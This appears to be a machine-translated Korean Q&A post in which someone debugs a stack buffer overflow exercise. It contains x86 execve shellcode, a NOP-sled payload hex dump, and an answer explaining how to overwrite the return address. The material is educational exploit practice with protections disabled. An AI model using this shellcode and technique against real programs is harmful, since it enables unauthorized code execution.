2014-11-29 9 views
0

나는 쉘을 산란 내 어셈블리 코드를쉘 코드 쉘을 산란

global _start 

section .text 
_start: 

    xor eax, eax 
    push eax 
    push 0x68732f6e 
    push 0x69622f2f 
    mov ebx, esp 
    push eax 
    mov edx, esp 
    push ebx 
    mov ecx, esp 
    mov al, 11 
    int 0x80 

    xor ebx, ebx 
    mov bl, 1 
    int 0x80 

내가 그것을 실행할 때 내가 가진 쉘 나는 gdb에 사용하는 경우 페이로드

0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 
0000010: 9090 9090 31c0 5068 6e2f 7368 682f 2f62 ....1.Phn/shh//b 
0000020: 6989 e350 89e2 5089 e253 89e1 b00b cd80 i..P..P..S...... 
0000030: 31db b301 cd80 9090 9090 9090 9090 9090 1............... 
0000040: 9090 9090 9090 9090 c8cf ffff 90cf ffff ................ 

에 변형 그래서 무슨 일이 일어 나는지 나는이 메시지를 받는다 :

process 22459 is executing new program: /bin/dash 
[Inferior 1 (process 22459) exited normally] 

그러나 껍질 없음. 실행 파일에 페이로드를 넣으려면

Illegal instruction (core dumped) 

무슨 일이 일어나는지에 대한 도움이 필요하십니까?

실행 파일을 --fno-stack-protector으로 컴파일하고 ASLR을 해제하고 실행 파일을 스택했습니다.

답변

0

피해자 실행 파일에서 제어 흐름을 쉘 코드로 어떻게 전송합니까?

당신은 또한 다음과 같은 계산해야합니다, 당신은 매개 변수로 쉘 코드를 공급 치죠 :

  1. 을하여 오버 플로워 버퍼의 시작부터 계산 된 리턴 어드레스의 위치의 오프셋을 알아보십시오.

  2. 확인되지 않은 버퍼 - 로컬 변수의 주소를 찾으십시오. 다음은이 가정 :이 critical_buf 지역 변수에 복사 된 후 귀하의 페이로드가 스택에 얻을 것이다 때문에

void vulnerable_function(char *buf) { char critical_buf[50]; <-- this will be overflown ... strcpy(critical_buf,buf); ... } , 당신은이 지역 변수의 메모리 주소를 알아야합니다. 위의 경우를 들어, 스택은 다음과 같이 표시됩니다

Stack layout: <<< Growth direction 
LOW_ADDR -------------------------------------------------------------------------- HIGH_ADDR 
... | critical_buf .......................... | frame_pointer | ret_addr | *buf (param1) | ... 
    <---------------- 50 --------------------->    < offset from critical_buf?> 

그래서, 당신의 페이로드는 쉘 코드 구성, 플러스 충분한 바이트 것 ret_addr가에서 critical_buf 지역 변수의 시작 주소로 대체되도록 스택. 이것은 "ABC"스택 오버 플로우 공격 모델입니다. 이 상황에서

가, 페이로드는 다음과 같이 구성됩니다 : 스택 그래서 대신의 정상적인 흐름으로 복귀에 critical_buf의 실제 쉘 코드 + N 바이트 + 주소, 명령 포인터가 당신의 쉘 코드로 지적됩니다, 그때 만 실행됩니다.

NOP로 잉여 바이트를 채울 수 있으며 쉘 코드를 반환 주소에 더 가깝게 배치 할 수 있습니다. 그런 다음 교체 된 주소에 대해 더 넓은 범위의 주소를 가리킬 수 있습니다.

피해자에 대해 GDB를 사용하여 관련 주소를 찾고 거기에서 델타를 계산하십시오.